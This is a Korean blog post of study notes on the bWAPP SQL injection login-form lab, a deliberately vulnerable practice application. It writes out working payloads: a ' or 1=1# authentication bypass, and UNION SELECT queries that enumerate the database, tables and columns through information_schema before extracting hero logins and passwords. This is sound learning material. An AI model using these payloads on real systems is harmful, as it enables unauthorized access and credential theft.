MISSION. 데이터베이스에 접속해 hero들의 secret들을 빼내오자.
Quest. SQL Injection이 통하는지 아닌지 확인해보고, SQL Injection이 된다면 데이터베이스의 서버 종류가 무엇인지 확인해봅시다.
페이지 소스코드가 /bWAPP/sqli_3.php에 저장돼 있는 것을 확인하고, 파일을 열어보니 login을 sql쿼리문에 이용한다는 것을 볼 수 있었다.
login에 '(작은따옴표)를 입력해서 오류를 유도하면 서버가 MySQL인 것을 확인할 수 있다.
Quest. login에 주석 문자를 넣어 항상 참이 되는 쿼리를 삽입하면 아래와 같이 neo라는 이름으로 접속할 수 있습니다. 분명 입력해야 하는 건 login과 password인데 login에 삽입하는 걸로 충분한 이유는 무엇일까요?
level low에서는 $login값이 그대로 유지된다. 따라서 login에 항상 참이되는 쿼리 ' or 1=1#를 입력하면 login = '" . ' or 1=1# . "' AND password = '" . $password . "'"; #뒤가 주석처리 되면서 '" . ' or 1=1로 인해 login이 항상 참이되게 된다.
Quest. 우리가 캐내야 할 다른 hero의 secret은 아직 많습니다. login 값을 알면 화면에 출력 되는 secret을 알아낼 수 있지만 우리는 다른 hero들의 login 정보를 모릅니다. 그럼 지난 번에 했던 것처럼 테이블 정보를 알아내야겠네요. 우선 컬럼의 개수를 알아냅시다.
'union select all 1,2,3,4#를 입력해서 컬럼 개수 확인결과 4개인 것을 알 수 있었다.
Quest. 당신은 저번처럼 무턱대고 테이블 정보를 출력하려 했습니다. 하지만 이전과 다르게 하나의 record (SQL 용어)만 출력하고 있습니다. 그렇다면 select문에 질의 조건을 추가하여 원하는 정보만 출력하게 만듭시다. 질의할 조건을 알아내야 할 필요성이 생겼습니다. 첫번째로, hero 정보가 들어있는 데이터베이스 이름을 알아냅시다.
이전 결과에서 2와 4자만 출력이 되는 것을 확인했다. hero정보가 들어있는 데이터베이스 확인을 위해서 2 또는 4자리에 database()함수를 넣어 database정보를 확인한다. (database() 함수는 현재 데이터베이스의 이름을 반환)
'union select all 1,2,3,database()# 입력해서 데이터베이스 이름이 BWAPP인 것을 확인했다.
Quest. 데이터베이스 조건을 추가하면서 저번처럼 테이블 이름을 알아내봅시다. 쓸모 없는 정보가 나와도 좋으니 시도해보세요.
지난 시간에 배운 information_schema.tables에 테이블 정보가 담겨있는 것을 이용해서 BWAPP 데이터베이스에 있는 테이블 이름을 출력했다. 그 결과 Blog가 출력됐다.
→ 'union select 1,table_name,3,4 from information_schema.tables where table_schema='BWAPP'#
Quest. 시도하셨나요? 위의 quest에선 웬 쓸모없는 테이블 이름을 알아냈습니다. 이제 조건을 추가하여 hero 정보가 들어 있는 테이블 이름을 알아내봅시다. 노가다가 좀 필요합니다.
위에서 찾은 Blog는 우리가 찾는 테이블 이름이 아닌 것 같다. blog가 출력되지 않도록 조건을 추가하고 다시 실행했더니 Heroes가 출력됐다.
→'union select 1,table_name,3,4 from information_schema.tables where table_schema='BWAPP' and table_name!='blog'#
Movies
→'union select 1,table_name,3,4 from information_schema.tables where table_schema='BWAPP' and table_name!='blog' and table_name!='heroes'#
Users
→'union select 1,table_name,3,4 from information_schema.tables where table_schema='BWAPP' and table_name!='blog' and table_name!='heroes' and table_name!='movies'#
Visitors
→'union select 1,table_name,3,4 from information_schema.tables where table_schema='BWAPP' and table_name!='blog' and table_name!='heroes' and table_name!='movies' and table_name!='users'#
Blog, Heroes, Movies, Users, Visitors 중에 hero정보가 들어있을 거 같은 테이블은 Heroes같다.
Quest. 왠지 heroes 테이블에 정보가 숨겨져 있을 것 같습니다. 이 테이블의 컬럼을 3개 알아냅시다.
Id
'union select 1,column_name,3,4 from information_schema.columns where table_name='Heroes'#
Login
'union select 1,column_name,3,4 from information_schema.columns where table_name='Heroes' and column_name!='id'#
Password
'union select 1,column_name,3,4 from information_schema.columns where table_name='Heroes' and column_name!='id' and column_name!='login'#
Quest. id, login, password 컬럼이 있음을 알아냈습니다. 이제는 neo 외의 다른 hero들의 secret을 알아낼 때입니다. 최소한 2명의 secret을 알아내세요.
① Alice
'union select 1, id, 3, login from heroes where login!='neo'#
'union select 1, login, 3, password from heroes where login!='neo'#
→ 2번째 hero의 계정은 Alice이고, password는 LoveZombies이다.
② Thor
'union select 1, id, 3, login from heroes where login!='neo' and login!='alice'#
'union select 1, login, 3, password from heroes where login!='neo' and login!='alice'#
→ 3번째 hero의 계정은 Thor이고, password는 Asgard이다.
'Study > Web Hacking' 카테고리의 다른 글
[XSS] 기초 정리 (0) | 2021.01.06 |
---|---|
[bWAPP] Broken Auth. - Insecure Login Forms/Robots File (0) | 2020.10.31 |
[bWAPP] SQL Injection (GET/Search) (0) | 2020.09.25 |
[bWAPP] HTML Injection - Stored (Blog) (0) | 2020.09.20 |
[bWAPP] HTML Injection - Reflected (POST) (0) | 2020.09.19 |